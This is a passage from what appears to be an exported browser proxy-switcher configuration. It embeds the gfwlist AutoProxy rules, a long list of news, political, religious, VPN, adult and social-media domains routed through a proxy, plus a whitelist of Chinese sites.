@||imagesblog.gio.gov.tw\\n@@||arte.gov.tw\\n@@||dmtip.gov.tw\\n@@||chccc.gov.tw\\n@@||hengchuen.gov.tw\\n@@||hsinchu-cc.gov.tw\\n@@||921.gov.tw\\n@@||ncdr.nat.gov.tw\\n@@||4pppc.gov.tw\\n@@||klsio.gov.tw\\n@@||nici.nat.gov.tw\\n@@||cromotc.nat.gov.tw\\n@@||taitung-house.gov.tw\\n\\n!-----IP-----\\n174.142.105.153\\n69.65.19.160\\n\\n!-----Whitelist-----\\n@@||aliyun.com\\n@@||baidu.com\\n!--@@||bing.com\\n@@||bt.byr.cn\\n@@||chinaso.com\\n@@||dl.google.com\\n@@||fonts.googleapis.com\\n@@||csi.gstatic.com\\n@@||fonts.gstatic.com\\n@@||haosou.com\\n@@||forum1.hkgolden.com \\n@@||forum6.hkgolden.com \\n@@||forum9.hkgolden.com \\n@@||articlehtml.hkgolden.com\\n@@||jike.com\\n@@|http://translate.google.cn\\n@@|http://www.google.cn/maps\\n@@||http2.golang.org\\n@@||bt.neu6.edu.cn\\n@@||qq.com\\n@@||sina.cn\\n@@||sina.com.cn\\n@@||sogou.com\\n@@||so.com\\n@@||soso.com\\n@@||yahoo.cn\\n@@||youdao.com\\n@@||zhongsou.com\\n@@|https://autoproxy.org\\n@@|http://ime.baidu.jp\\n!----------------EOF----------------\\n\",\"sourceUrl\":\"https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt\"},\"+__ruleListOf_自动切换 SS\":{\"color\":\"#d497ee\",\"defaultProfileName\":\"direct\",\"format\":\"AutoProxy\",\"lastUpdate\":\"2015-12-30T10:16:50.641Z\",\"matchProfileName\":\"SS for 1080\",\"name\":\"__ruleListOf_自动切换 SS\",\"profileType\":\"RuleListProfile\",\"revision\":\"14f7dc6fea8\",\"ruleList\":\"[AutoProxy 0.2.9]\\n! Checksum: 7Kef/ZbUsMfIQnK3rDwrSg\\n! Expires: 6h\\n! Last Modified: Sun, 20 Dec 2015 11:16:12 +0800\\n! HomePage: https://github.com/gfwlist/gfwlist\\n\\n!---------------------Fraud/Scam-------------------\\nchina-mmm.jp.net\\n.china-mmm.net\\n||china-mmm.net\\n.lsxszzg.com\\n\\n!---------------Non-Latin characters---------------\\n\\n!------------Restricted & URL Redirects------------\\n!--ehentai\\n|http://85.17.73.31/\\n\\n||alien-ufos.com\\n||altrec.com\\n||asianspiss.com\\n||azubu.tv\\n||beeg.com\\n||boysmaster.com\\n||darpa.mil\\n||desipro.de\\n|http://img.dlsite.jp/\\n||dmm.co.jp\\n!--||dmm.com\\n||fastpic.ru\\n||flipboard.com\\n||fxnetworks.com\\n||getuploader.com\\nhulu.com\\nhuluim.com\\n||hybrid-analysis.com\\n|http://www.ilovelongtoes.com/\\n||juliepost.com\\n|http://www.m-sport.co.uk\\n||macgamestore.com\\n||metarthunter.com\\n||mfxmedia.com\\n||muzu.tv\\n|http://www.nbc.com/live\\n||netflix.com\\n||nuuvem.com\\n||osaka69.com\\n||pandora.com\\n.pandora.tv\\n|http://www.parkansky.com\\n|http://*.pimg.tw/\\n||pure18.com\\n||qq.co.za\\n|http://radiko.jp\\n||rd.com\\n||rdio.com\\n|http://cdn*.search.xxx/\\n||slacker.com\\n||spotify.com\\n||springboardplatform.com\\n||switch1.jp\\n||target.com\\n||turntable.fm\\n||twerkingbutt.com\\n||vevo.com\\n|http://ecsm.vs.com/\\n||wheretowatch.com\\n||wingamestore.com\\n||zattoo.com\\n||zozotown.com\\n\\n!--------------------Num--------------------\\n.0rz.tw\\n|http://0rz.tw\\n||0to255.com\\n1-apple.com.tw\\n||1-apple.com.tw\\n.1000giri.net\\n||1000giri.net\\n.10conditionsoflove.com\\n||10musume.com\\n123rf.com\\n.12bet.com\\n||12bet.com\\n.12vpn.com\\n||12vpn.com\\n141hongkong.com/forum\\n.17t17p.com\\n.173ng.com\\n||173ng.com\\n1984bbs.com\\n||1984bbs.com\\n!--||1984blog.com\\n.1984bbs.org\\n||1984bbs.org\\n.1998cdp.org\\n.1bao.org\\n|http://1bao.org\\n||1pondo.tv\\n.1eew.com\\n.2-hand.info\\n.2000fun.com/bbs\\n.2008xianzhang.info\\n||2008xianzhang.info\\n.213.so\\n21andy.com/blog\\n.228.net.tw\\n24smile.org\\n.2shared.com\\n.315lz.com\\n||32red.com\\n||36rain.com\\n.3a5a.com\\n.3boys2girls.com\\n.3tui.net\\n||4bluestones.biz\\n||4chan.org\\n||4shared.com\\n5i01.com\\ntaiwannation.50webs.com\\n||51.ca\\n.5isotoi5.org\\n.5maodang.com\\n64memo\\n.64museum.org\\n64tianwang.com\\n64wiki.com\\n666kb.com\\n6park.com\\n||6park.com\\n||7capture.com\\n|http://85st.com\\n.881903.com/page/zh-tw/\\n.888.com\\n||881903.com\\n89-64.org\\n||89-64.org\\n.8z1.net\\n||8z1.net\\n.9001700.com\\n|http://908taiwan.org/\\n|http://91porn.com\\n.92ccav.com\\n||9bis.com\\n||9bis.net\\n.99btgc01.com\\n||99btgc01.com\\n\\n!--------------------AA--------------------\\n.tibet.a.se\\n|http://tibet.a.se\\n||a-normal-day.com\\na5.com.ru\\n|http://aamacau.com\\n|http://cdn*.abc.com/\\n.ablwang.com\\n.aboluowang.com\\n||aboluowang.com\\n.aboutgfw.com\\n||acgkj.com\\nactimes.com.au\\n||aculo.us\\n||addictedtocoffee.de\\nadultfriendfinder.com\\nadultkeep.net/peepshow/members/main.htm\\n||advanscene.com\\n||advertfan.com\\n||aenhancers.com\\n||af.mil\\naiph.net\\n||aiph.net\\n|http://download.aircrack-ng.org\\n.aisex.com\\n||ait.org.tw\\naiweiwei.com\\n.aiweiweiblog.com\\n||aiweiweiblog.com\\n||www.ajsands.com\\n\\n!---------Akamaihd---------\\n|https://fbcdn*.akamaihd.net/\\n\\n||akiba-online.com\\n||al-qimmah.net\\n||alabout.com\\n||alasbarricadas.org\\nalexlur.org\\naliengu.com\\n||alkasir.com\\nallgirlsallowed.org\\nalliance.org.hk\\n.allinfa.com\\n|http://allinfa.com\\n||allmovie.com\\n||alternate-tools.com\\nalvinalexander.com\\nalwaysdata.com\\n||alwaysdata.com\\n||alwaysdata.net\\n||am730.com.hk\\namazon.com/Prisoner-State-Secret-Journal-Premier\\nameblo.jp\\n||ameblo.jp\\n||americangreencard.com\\n||amiblockedornot.com\\n.amnesty.org\\n||amnesty.org\\n.amnestyusa.org\\n||amnestyusa.org\\n.amnyemachen.org\\n.amoiist.com\\nanalyze-v.com\\n||anchorfree.com\\n!--Google\\n||ancsconf.org\\n||andfaraway.net\\n||android.com\\n||android-x86.org\\n||angularjs.org\\nanimecrazy.net\\naniscartujo.com\\n||aniscartujo.com\\n||anobii.com\\n.anonymizer.com\\nanontext.com\\n.answering-islam.org\\n|http://www.antd.org\\n||anthonycalzadilla.com\\n.antiwave.net\\n|http://antiwave.net\\n||aobo.com.au\\n||aolchannels.aol.com\\nvideo.aol.ca/video-detail\\nvideo.aol.co.uk/video-detail\\nvideo.aol.com\\n||video.aol.com\\n||search.aol.com\\nwww.aolnews.com\\n||aomiwang.com\\nvideo.ap.org\\n.apetube.com\\n||apiary.io\\n.apigee.com\\n||apigee.com\\n||appannie.com\\nappledaily.com\\narchive.is\\n||archive.org\\n.arctosia.com\\n|http://arctosia.com\\n||areca-backup.org\\n||arlingtoncemetery.mil\\n||army.mil\\nartsy.net\\n.asahichinese.com\\n||asahichinese.com\\nasdfg.jp/dabr\\n|http://japanfirst.asianfreeforum.com/\\n.asiaharvest.org\\n||asiaharvest.org\\nasianews.it\\n||asianwomensfilm.de\\n||askstudent.com\\n.askynz.net\\n||askynz.net\\n||assembla.com\\n||astonmartinnews.com\\n||astrill.com\\n||atc.org.au\\n.atchinese.com\\n|http://atchinese.com\\natgfw.org\\n||atj.org.tw\\n.atlaspost.com\\n||atlaspost.com\\n||atdmt.com\\n.atnext.com\\n||atnext.com\\navaaz.org\\n||avaaz.org\\n!--||avast.com\\n.avdb.in\\n||avdb.in\\n.avdb.tv\\n||avdb.tv\\n||avidemux.org\\n||avoision.com\\n||axureformac.com\\n\\n!--------------------BB--------------------\\nforum.baby-kingdom.com\\nbabynet.com.hk\\nbackchina.com\\n||backchina.com\\n.backpackers.com.tw/forum\\nbacktotiananmen.com\\nbadoo.com\\n|http://*2.bahamut.com.tw\\n||baidu.jp\\n||baixing.me\\nhen.bao.li\\n||bannedbook.org\\nbannedbook.org\\n||bannedbook.org\\n.barenakedislam.com\\n||barnabu.co.uk\\nbayvoice.net\\n||bayvoice.net\\ndajusha.baywords.com\\n.bbc.co.uk*chinese\\n.bbc.co.uk/tv\\n.bbc.co*zhongwen\\nnews.bbc.co.uk/onthisday*newsid_2496000/2496277\\nnewsforums.bbc.co.uk\\n.bbcchinese.com\\n||bbcchinese.com\\n|http://bbc.in\\n.bbg.gov\\n||bbsfeed.com\\nbbsland.com\\n.bbsone.com\\n.bcc.com.tw/board\\n.bcchinese.net\\n.bebo.com\\n||bebo.com\\n.behindkink.com\\n||beijing1989.com\\nbeijingspring.com\\n||beijingspring.com\\n.berlintwitterwall.com\\n||berlintwitterwall.com\\n.bestforchina.org\\n||bestforchina.org\\n||bestvpn.com\\n.bestvpnservice.com\\n.bestvpnusa.com\\n||bet365.com\\n.betfair.com\\n.bettween.com\\n||bettween.com\\n||betvictor.com\\n.bewww.net\\n.beyondfirewall.com\\n||bfnn.org\\n||bfsh.hk/\\nbiantailajiao.com\\nbiantailajiao.in\\n.biblesforamerica.org\\n|http://biblesforamerica.org\\n.bic2011.org\\nbigfools.com\\n.bignews.org\\n||bignews.org\\n.bigsound.org/portnoy\\n|http://billypan.com/wiki\\n||billywr.com\\nbipic.net\\n.bit.ly\\n|http://bit.ly\\n!--||bitbucket.org\\n||bitcointalk.org\\n.bitshare.com\\n||bitshare.com\\n!-|http://bitsnoop.com\\nbjzc.org\\n||bjzc.org/\\ntor.blingblingsquad.net\\n.blinkx.com\\n||blinkx.com\\nblinw.com\\n.blip.tv\\n||blip.tv/\\n.blockcn.com\\n||blockcn.com\\n||blog.de\\n||blogblog.com\\n.blogcatalog.com\\n||blogcatalog.com\\n||blogcity.me\\n.blogger.com\\n||blogger.com\\nblogimg.jp\\n||blog.kangye.org\\n.bloglines.com\\n||bloglines.com\\n||bloglovin.com\\nrconversation.blogs.com\\n/^https?:\\\\/\\\\/[^\\\\/]+blogspot\\\\.(.*)/\\nblogtd.net\\n.blogtd.org\\n|http://blogtd.org\\n||bloodshed.net\\n.bloomberg.cn\\n||bloomberg.cn\\n.bloomberg.com\\n||bloomberg.com\\nbloomberg.de\\n||bloomberg.de\\n||bloomfortune.com\\n||bnrmetal.com\\nboardreader.com/thread\\n||boardreader.com\\n.bod.asia\\n|http://bod.asia\\nbonbonme.com\\n||boobstagram.com\\n||book.com.tw\\n||books.com.tw\\n||botanwang.com\\n.bot.nu\\n.bowenpress.com\\n||bowenpress.com\\n||app.box.com\\ndl.box.net\\n||dl.box.net\\nboxun.com\\n||boxun.com\\n.boxun.tv\\n||boxun.tv\\nboxunblog.com\\n||boxunblog.com\\n.boxunclub.com\\n.boyfriendtv.com\\n||br.st\\n||brandonhutchinson.com\\n||braumeister.org\\n.bravotube.net\\n||bravotube.net\\n.brazzers.com\\n.break.com\\n||break.com\\n.breakingtweets.com\\n||breakingtweets.com\\n||breakwall.net\\nbriian.com/6511/freegate\\n.briefdream.com/%E7%B4%A0%E6%A3%BA\\nbrizzly.com\\n||brizzly.com\\nbroadbook.com\\n.broadpressinc.com\\nbrucewang.net\\n||bt95.com\\n|http://btdigg.org\\n.btspread.com\\n.budaedu.org\\n||budaedu.org\\n.bullog.org\\n||bullog.org\\n.bullogger.com\\n||bullogger.com\\n|http://www.businessinsider.com.au/*\\n|http://static*.businessinsider.com/\\n.businessweek.com\\n!--businesstimes\\n!-.businesstimes.com.cn\\n!-|http://businesstimes.com.cn\\n||bugclub.org\\n||buugaa.com\\n.buzzhand.com\\n.buzzhand.net\\nbuzzurl.jp\\nbwsj.hk\\n||bx.tl\\nholz.byethost8.com\\n\\n!--------------------CC--------------------\\n.c-spanvideo.org\\n||c-spanvideo.org\\n||c-est-simple.com\\n.cacnw.com\\n.cactusvpn.com\\n||cactusvpn.com\\n.cafepress.com\\n.cahr.org.tw\\n.calameo.com/books\\ncn.calameo.com\\n|http://cn.calameo.com\\n.its.caltech.edu/~falun/\\n.cam4.com\\n.cam4.jp\\n.cam4.sg\\n||cams.com\\n.cams.org.sg\\ncanadameet.com\\n|http://bbs.cantonese.asia/\\n!--http://www.cantonese.asia/action-bbs.html\\n.canyu.org\\n.cao.im\\n.caobian.info\\n||caobian.info\\n.cap.org.hk\\n||cap.org.hk\\ncardinalkungfoundation.org\\n.casatibet.org.mx\\ncaochangqing.com\\n||caochangqing.com\\ncari.com.my\\n||catch22.net\\n||catfightpayperview.xxx\\n.catholic.org.hk\\n||catholic.org.hk\\ncatholic.org.tw\\n||catholic.org.tw\\n||cattt.com\\n||cbc.ca\\n.cbsnews.com/video\\n.cbtc.org.hk\\n!-.ccc.de\\n!-||ccc.de\\n.ccdtr.org\\n||ccdtr.org\\n.ccim.org\\ncclife.org\\n.ccthere.com\\n.cctongbao.com/article/2078732\\nccue.ca\\nccue.com\\n.cgdepot.org\\n|http://cgdepot.org\\n||cdbook.org\\n||cdd.me\\n.cdef.org\\n||cdig.info\\ncdjp.org\\n||cdjp.org/\\n||cdninstagram.com\\n.cdnews.com.tw\\ncdp1989.org\\ncdp1998.org\\n||cdp1998.org\\ncdp2006.org\\n||cdp2006.org\\n.cdpa.url.tw\\ncdpeu.org\\ncdpusa.org\\ncdpweb.org\\n||cdpweb.org\\ncdpwu.org\\n||cdpwu.org\\n||cdw.com\\n.cecc.gov\\n||cecc.gov\\n||cellulo.info\\n||cenci.tk\\n||cenews.eu\\n||centralnation.com\\n.centurys.net\\n|http://centurys.net\\n.cfhks.org.hk\\n.cftfc.com\\n.cgst.edu\\n||chandoo.org\\n.change.org\\n|http://change.org\\n.changp.com\\n||changp.com\\n.chapm25.com\\n.chaturbate.com\\nchengmingmag.com\\n.chenguangcheng.com\\n||chenguangcheng.com\\nchenpokong.com\\n||cherrysave.com\\n.chhongbi.org\\n|http://chicagoncmtv.com\\n.china-week.com\\nchina101.com\\n||china101.com\\n||china18.org\\n||china21.com\\nchina21.org\\n||china21.org\\n.china5000.us\\nchinaaffairs.org\\n||chinaaffairs.org\\n||chinaaid.me\\nchinaaid.us\\nchinaaid.org\\nchinaaid.net\\nchinacomments.org\\n||chinacomments.org\\nchinachange.org\\nchinachannel.hk\\n||chinachannel.hk\\n.chinadigitaltimes.net\\n||chinadigitaltimes.net\\n.chinaelections.org\\n||chinaelections.org\\n.chinaeweekly.com\\n||chinaeweekly.com\\n||chinafreepress.org\\n.chinagate.com\\nchinageeks.org\\nchinagfw.org\\n||chinagfw.org\\n.chinagreenparty.org\\n||chinagreenparty.org\\n.chinahorizon.org\\n||chinahorizon.org\\n.chinahush.com\\nchinalaborwatch.org\\nchinalawtranslate.com\\nchinaxchina.com/howto\\n.chinainperspective.com\\nchinainperspective.net/ArtShow.aspx?\\n||chinainperspective.net\\n.chinainperspective.org\\n||chinainperspective.org\\n||chinainterimgov.org\\nchinalawandpolicy.com\\n.chinamule.com\\n||chinamule.com\\nchinamz.org\\n.chinarightsia.org\\nchinasocialdemocraticparty.com\\n||chinasocialdemocraticparty.com\\nchinasoul.org\\n||chinasoul.org\\n.chinasucks.net\\nchinatimes.com\\n||chinatopsex.com\\nchinatweeps.com\\nchinaway.org\\n.chinaworker.info\\n||chinaworker.info\\nchinayouth.org.hk\\nchinayuanmin.org\\n||chinayuanmin.org\\n.chinese-hermit.net\\nchinese-memorial.org\\n||chinesedailynews.com\\n.chinesen.de\\n||chinesen.de\\n.chinesepen.org\\n.chinesetalks.net/ch\\n.chingcheong.com\\n||chingcheong.com\\nchithu.org\\nchn.chosun.com\\n.chrdnet.com\\n|http://chrdnet.com\\nchristianstudy.com\\n||christianstudy.com\\nchristusrex.org/www1/sdc\\n||chrlcg-hk.org\\n||chrome.com\\n||chromeadblock.com\\n||chromium.org\\nchubun.com\\nchuizi.net\\n||christiantimes.org.hk\\n.chrlawyers.hk\\n!--||allaboutalpha.com\\n||circlethebayfortibet.org\\n||citizenscommission.hk\\n.citizenlab.org\\ncitizensradio.org\\n.city365.ca\\n|http://city365.ca\\ncity9x.com\\n.civicparty.hk\\n||civicparty.hk\\ncivilhrfront.org\\n||civilhrfront.org\\n.civilmedia.tw\\npsiphon.civisec.org\\n!--||cjb.net\\n.ck101.com\\n||ck101.com\\n.clarionproject.org/news/islamic-state-isis-isil-propaganda\\n||classicalguitarblog.net\\n.clb.org.hk\\nclearharmony.net\\nclearwisdom.net\\n.clipfish.de\\n||club1069.com\\ncmi.org.tw\\n|http://www.cmoinc.org\\n||cmule.com\\n||cmule.org\\n||cms.gov\\n||cna.com.tw\\n.cnavista.com.tw/shop/stores_app\\n.cnd.org\\n||cnd.org/\\nwiki.cnitter.com\\n.cnn.com/video\\nnews.cnyes.com\\n||cochina.co\\n||cochina.org\\n.code1984.com/64\\n|http://goagent.codeplex.com\\n||codeshare.io\\n||codeskulptor.org\\n|http://tosh.comedycentral.com\\ncomefromchina.com\\n||comefromchina.com\\n||commentshk.com\\n||compileheart.com\\n||conoyo.com\\n.contactmagazine.net\\n.convio.net\\n.coobay.com\\n|http://www.cool18.com/bbs*/\\n.coolaler.com\\n||coolaler.com\\ncoolder.com\\n||coolder.com\\n||coolloud.org.tw\\ncorumcollege.com\\n||couchdbwiki.com\\n||cotweet.com\\ncpj.org\\n||cpj.org/\\ncrackle.com\\n||crackle.com\\n||crchina.org\\ncrd-net.org\\ncreaders.net\\n||creaders.net\\n.crossthewall.net\\n||crossthewall.net\\ncsdparty.com\\n||csdparty.com\\n||csuchen.de\\n.ctfriend.net\\n.ctitv.com.tw\\ncts.com.tw\\n|http://library.usc.cuhk.edu.hk/\\n|http://mjlsh.usc.cuhk.edu.hk/\\n.cuhkacs.org/~benng\\n.cuihua.org\\n||cuihua.org\\n.cuiweiping.net\\n||cuiweiping.net\\n||curvefish.com\\n.culture.tw\\n||culture.tw\\n.cw.com.tw\\n|http://forum.cyberctm.com\\n||cyberghostvpn.com\\n||cynscribe.com\\ncytode.us\\n||ifan.cz.cc\\n||mike.cz.cc\\n||nic.cz.cc\\n\\n!--------------------DD--------------------\\ncl.d0z.net\\n.dabr.co.uk\\n||dabr.co.uk\\ndabr.mobi\\n||dabr.mobi\\n||dabr.me\\ndadazim.com\\n||dadazim.com\\n.dadi360.com\\ndafagood.com\\ndafahao.com\\n||dalailama.ru\\n.dalailamavisit.org.nz\\n.dailidaili.com\\n||dailidaili.com\\n.dailymotion.com\\n.dajiyuan.com\\n.dajiyuan.eu\\ndalailama.com\\n.dalailamaprotesters.info\\n.dalailamaworld.com\\n||dalailamaworld.com\\ndalianmeng.org\\n||dalianmeng.org\\n.daliulian.org\\n||daliulian.org\\n.danke4china.net\\n||danke4china.net\\n.danwei.org\\ndaolan.net\\n.david-kilgour.com\\n|http://david-kilgour.com\\ndaxa.cn\\n||daxa.cn/\\ncn.dayabook.com\\n.daylife.com/topic/dalai_lama\\n||dcard.tw\\n.ddc.com.tw\\n||de-sci.org\\n.de-sci.org\\nlists.debian.org\\npackages.debian.org/zh-cn/lenny/gpass\\n||delcamp.net\\ndelicious.com/GFWbookmark\\n.democrats.org\\n||democrats.org\\n||desc.se/\\n.destroy-china.jp\\n||deutsche-welle.de\\n!--||deviantart.com\\n!--||deviantart.net\\n||devio.us\\n||devpn.com\\n|http://www.dfanning.com\\n||dfas.mil\\n.dharamsalanet.com\\n.diaoyuislands.org\\n||diaoyuislands.org\\nstatic.digg.com\\n|http://digiland.tw/\\n||digitalnomadsproject.org\\n.diigo.com\\n||diigo.com\\n||furl.net\\n.dipity.com\\n||directcreative.com\\n||discogs.com\\n@@||cdn.discogs.com\\n\\n.discuss.com.hk\\n||discuss.com.hk\\ndisp.cc\\n.dit-inc.us\\n||dit-inc.us\\n.dizhidizhi.com\\n||dizhuzhishang.com\\ndjangosnippets.org\\n||dl-laby.jp\\n||dlsite.com\\n||dmcdn.net\\n||dnscrypt.org\\n||dns2go.com\\n||dnssec.net\\n.dogfartnetwork.com/tour\\n.dojin.com\\n.dok-forum.net\\n||dolc.de\\n||dolf.org.hk\\n||dollf.com\\n.domain.club.tw\\ndongtaiwang.com\\n||dongtaiwang.com\\n.dongtaiwang.net\\n||dongtaiwang.net\\n.dongyangjing.com\\n.dontfilter.us\\n||dontmovetochina.com\\n.dotplane.com\\n||dotplane.com\\n||dotsub.com\\n||dougscripts.com\\ndowei.org\\n||doxygen.org\\ndphk.org\\ndpp.org.tw\\n||dpp.org.tw\\n||dreammask.org\\n.drepung.org\\n||drgan.net\\n||dropbox.com\\n||dropboxusercontent.com\\ndrsunacademy.com\\n.drtuber.com\\n.dscn.info\\n||dtiblog.com\\n||dtic.mil\\ndtiserv2.com\\n||duckduckgo.com\\n.duckload.com/download\\n||duckmylife.com\\n.duihua.org\\n||duihua.org\\n||duihuahrjournal.org\\n.duoweitimes.com\\n||duoweitimes.com\\nduping.net\\n||duplicati.com\\ndupola.com\\ndupola.net\\n||dvorak.org\\n.dw.com\\n|http://www.dw.com\\n||dw.de\\n.dw-world.com\\n||dw-world.com\\n.dw-world.de\\nhttp://dw-world.de\\nwww.dwheeler.com\\ndwnews.com\\n||dwnews.com\\ndwnews.net\\n||dwnews.net\\nxys.dxiong.com\\n||dynawebinc.com\\n.dyndns.org\\n.dzze.com\\n\\n!--------------------EE--------------------\\n||e-classical.com.tw\\n||e-gold.com\\n.e-gold.com\\n||g.e-hentai.org\\n||lofi.e-hentai.org\\ne-info.org.tw\\n.e-traderland.net/board\\n.e123.hk\\n||earthcam.com\\neastern-ark.com\\n.eastturkestan.com\\n|http://www.eastturkistan.net/\\n.eastturkistan-gov.org\\n.eastturkistangovernmentinexile.us\\n||eastturkistangovernmentinexile.us\\nebookbrowse.com\\nebookee.com\\necministry.net\\nbbs.ecstart.com\\n||edgecastcdn.net\\n/twimg\\\\.edgesuite\\\\.net\\\\/\\\\/?appledaily/\\nedicypages.com\\nedoors.com\\n.edubridge.com\\n||edubridge.com\\n||eevpn.com\\nefcc.org.hk\\n||efmoe.com\\n||eic-av.com\\nelectionsmeter.com\\n||elgoog.im\\n||elpais.com\\n.eltondisney.com\\n||emacsblog.org\\n.emory.edu\\n.emule-ed2k.com\\n|http://emule-ed2k.com\\n.emuparadise.me\\n||enewstree.com\\nchinese.engadget.com\\n||englishfromengland.co.uk\\n||entermap.com\\n.episcopalchurch.org\\nepochtimes-bg.com\\n||epochtimes-bg.com\\nepochtimes-romania.com\\n||epochtimes-romania.com\\nepochtimes.co.il\\n||epochtimes.co.il\\nepochtimes.co.kr\\n||epochtimes.co.kr\\nepochtimes.com\\n||epochtimes.com\\nepochtimes.de\\nepochtimes.fr\\n.epochtimes.ie\\nepochtimes.jp\\nepochtimes.ru\\nepochtimes.se\\nepochtimestr.com\\n||epochweekly.com\\nerabaru.net\\n.erepublik.com\\n|http://erktv.com/\\n||ernestmandel.org\\n||erights.net\\n.etaa.org.au\\netaiwannews.com\\n||etizer.org\\n.ettoday.net\\netvonline.hk\\n.eu.org\\n||eu.org\\n.eulam.com\\neventful.com\\n||exblog.jp\\n||blog.exblog.co.jp\\n@@||www.exblog.jp\\n.exchristian.hk\\n||exchristian.hk\\n|http://blog.excite.co.jp/\\n||expatshield.com\\n||exploader.net\\n.expressvpn.com\\n.extremetube.com\\neyevio.jp\\n||eyevio.jp\\n.eyny.com\\n.ezpc.tk/category/soft\\n.ezpeer.com\\n\\n!--------------------FF--------------------\\n.facebook.com\\n||facebook.com\\n/^https?:\\\\/\\\\/[^\\\\/]+facebook\\\\.com/\\n@@||*v6.facebook.com\\n||connect.facebook.net\\n||facebookquotes4u.com\\n|http://facesoftibetanselfimmolators.info\\n||facesofnyfw.com\\n\\n!--Enhancement:\\n!--http://faithfuleye.com.detail.website/\\n!--http://faithfuleye.com.ipaddress.com/\\n.faithfuleye.com\\n\\n||faiththedog.info\\n.fakku.net\\nfalun-co.org\\nfalunart.org\\n||falunasia.info\\nfalundafa.org\\nfalundafa-dc.org\\n||falundafa-florida.org\\n||falundafa-nc.org\\nfalun-ny.net\\nfalundafamuseum.org\\nfalungong.org.uk\\n||falunhr.org\\nfaluninfo.net\\n.falunpilipinas.net\\n||falunworld.net\\nfamilyfed.org\\n||fanglizhi.info\\n||fangong.org\\nfangongheike.com\\nfanqianghou.com\\nfapdu.com\\n!--.farxian.com\\n.fawanghuihui.org\\n||fbcdn.net\\nfanqiangyakexi.net\\nfail.hk\\n||famunion.com\\n.fan-qiang.com\\n.fangbinxing.com\\n||fangbinxing.com\\nfangeming.com\\n||fanswong.com\\n.fanyue.info\\n.farwestchina.com\\n!--||fastly.net\\nen.favotter.net\\n||faststone.org\\nfavstar.fm\\n||favstar.fm\\nfaydao.com/weblog\\n||fb.com\\nfb.me\\n||fb.me\\n||fbsbx.com\\nfc2.com\\n.fc2china.com\\nfc2blog.net\\n|http://uygur.fc2web.com/\\nvideo.fdbox.com\\n.fdc89.jp\\n||fourface.nodesnoop.com\\n!--feedbooks.mobi\\n||feedburner.com\\n||feedzshare.com\\n||feelssh.com\\nfeer.com\\n|http://feitianacademy.org\\n.feitian-california.org\\n||feministteacher.com\\n.fengzhenghu.com\\n||fengzhenghu.com\\n|http://ff.im\\nfflick.com\\nfgmtv.net\\n.fgmtv.org\\n|http://feeds.fileforum.com\\n.files2me.com\\n|http://files2me.com\\n.fileserve.com/file\\nfillthesquare.org\\n||finalion.jp\\nfindbook.tw\\n.fingerdaily.com\\nfinler.net\\n.fireofliberty.org\\n||fireofliberty.org\\n!--||flagfox.net\\n.falsefire.com\\n||falsefire.com\\nfleshbot.com\\n\\n!--||farm6.staticflickr.com\\n!--.flickr.com/photos/46231077@N06\\n!--.flickr.com/groups/aiweiwei\\n!--.flickr.com/photos/digitalboy100\\n!--.flickr.com/photos/fzhenghu\\n!--.flickr.com/photos/lonelyfox\\n!--flickr.com/photos/vanvan/529925157\\n!--.flickr.com/photos/winterkanal\\n!--.flickr.com/photos/zola\\n||flickr.com\\n||staticflickr.com\\n\\nflickrhivemind.net\\nyuming.flnet.org\\n|http://cn.fmnnow.com\\nfofldfradio.org\\nblog.foolsmountain.com\\nwww.forum4hk.com\\npioneer-worker.forums-free.com\\n!--foursquare.com\\n|http://4sq.com\\n||fotop.net\\nvideo.foxbusiness.com\\n|http://foxgay.com\\n||fringenetwork.com\\n||flecheinthepeche.fr\\n||focustaiwan.tw\\n.focusvpn.com\\n||fofg.org\\n.fooooo.com\\n||fooooo.com\\nfootwiball.com\\n||fourthinternational.org\\n||foxdie.us\\n||foxsub.com\\nfoxtang.com\\n.fpmt.org\\n|http://fpmt.org\\n.fpmt.tw\\n.fpmt-osel.org\\n||fpmtmexico.org\\nfqok.org\\n||fqrouter.com\\n||franklc.com\\n.freakshare.com\\n|http://freakshare.com\\n||free4u.com.ar\\nfree-gate.org\\n.free.fr/adsl\\n||allonlinux.free.fr\\n||dimitrik.free.fr\\nkineox.free.fr\\n||puttycm.free.fr\\n||freealim.com\\nwhitebear.freebearblog.org\\n.freechal.com\\n.freedomhouse.org\\n||freedomhouse.org\\n.freegao.com\\n||freegao.com\\n.free-hada-now.org\\n.freelotto.com\\n||freelotto.com\\nfreeman2.com\\n.freeopenvpn.com\\nfreemoren.com\\nfreemorenews.com\\nfreenet-china.org\\nfreenewscn.com\\n.freeoz.org/bbs\\n||freeoz.org\\n||www.bulbous.freeserve.co.uk\\n||freessh.us\\nfree4u.com.ar\\n.free-ssh.com\\n||free-ssh.com\\n.freedomcollection.org/interviews/rebiya_kadeer\\n.freeforums.org\\n||freenetproject.org\\n.freeoz.org\\n.freetibet.net\\n||freetibet.org\\n|http://freetibetanheroes.org\\n||freewallpaper4.me\\n.freewebs.com\\n||freeweibo.com\\n.freexinwen.com\\n.freeyoutubeproxy.net\\n||freeyoutubeproxy.net\\nfriendfeed.com\\nfriendfeed-media.com/e99a4ebe2fb4c1985c2a58775eb4422961aa5a2e\\nfriends-of-tibet.org\\n.friendsoftibet.org\\nfreechina.net\\n|http://www.zensur.freerk.com/\\nfreevpn.nl\\n|http://adult.friendfinder.com/\\n.fring.com\\n||fring.com\\n||frommel.net\\n.frontlinedefenders.org\\n||fscked.org\\n.fsurf.com\\n.ftchinese.com/story/001054103\\n.ftchinese.com/*video\\n.ftchinese.com/comments\\n.fuckcnnic.net\\n||fuckcnnic.net\\nfuckgfw.org\\nfulue.com\\n.funf.tw\\nfunp.com\\n.furhhdl.org\\n||furinkan.com\\n.futurechinaforum.org\\n||futuremessage.org\\n.fuyin.net\\n||fw.cm\\nfzh999.com\\nfzh999.net\\n\\n!--------------------GG--------------------\\n||gabocorp.com\\n.gaeproxy.com\\n.gaforum.org\\n||galenwu.com\\n||game735.com\\ngamebase.com.tw\\n|http://wiki.gamerp.jp\\n||gamer.com.tw\\n.gamer.com.tw\\n.gamez.com.tw\\n||gamez.com.tw\\n.gaoming.net\\n||gaoming.net\\nganges.com\\n.gaopi.net\\n|http://gaopi.net\\n.gaozhisheng.org\\n.gaozhisheng.net\\ngardennetworks.com\\n||gardennetworks.org\\n!--IP of Garden 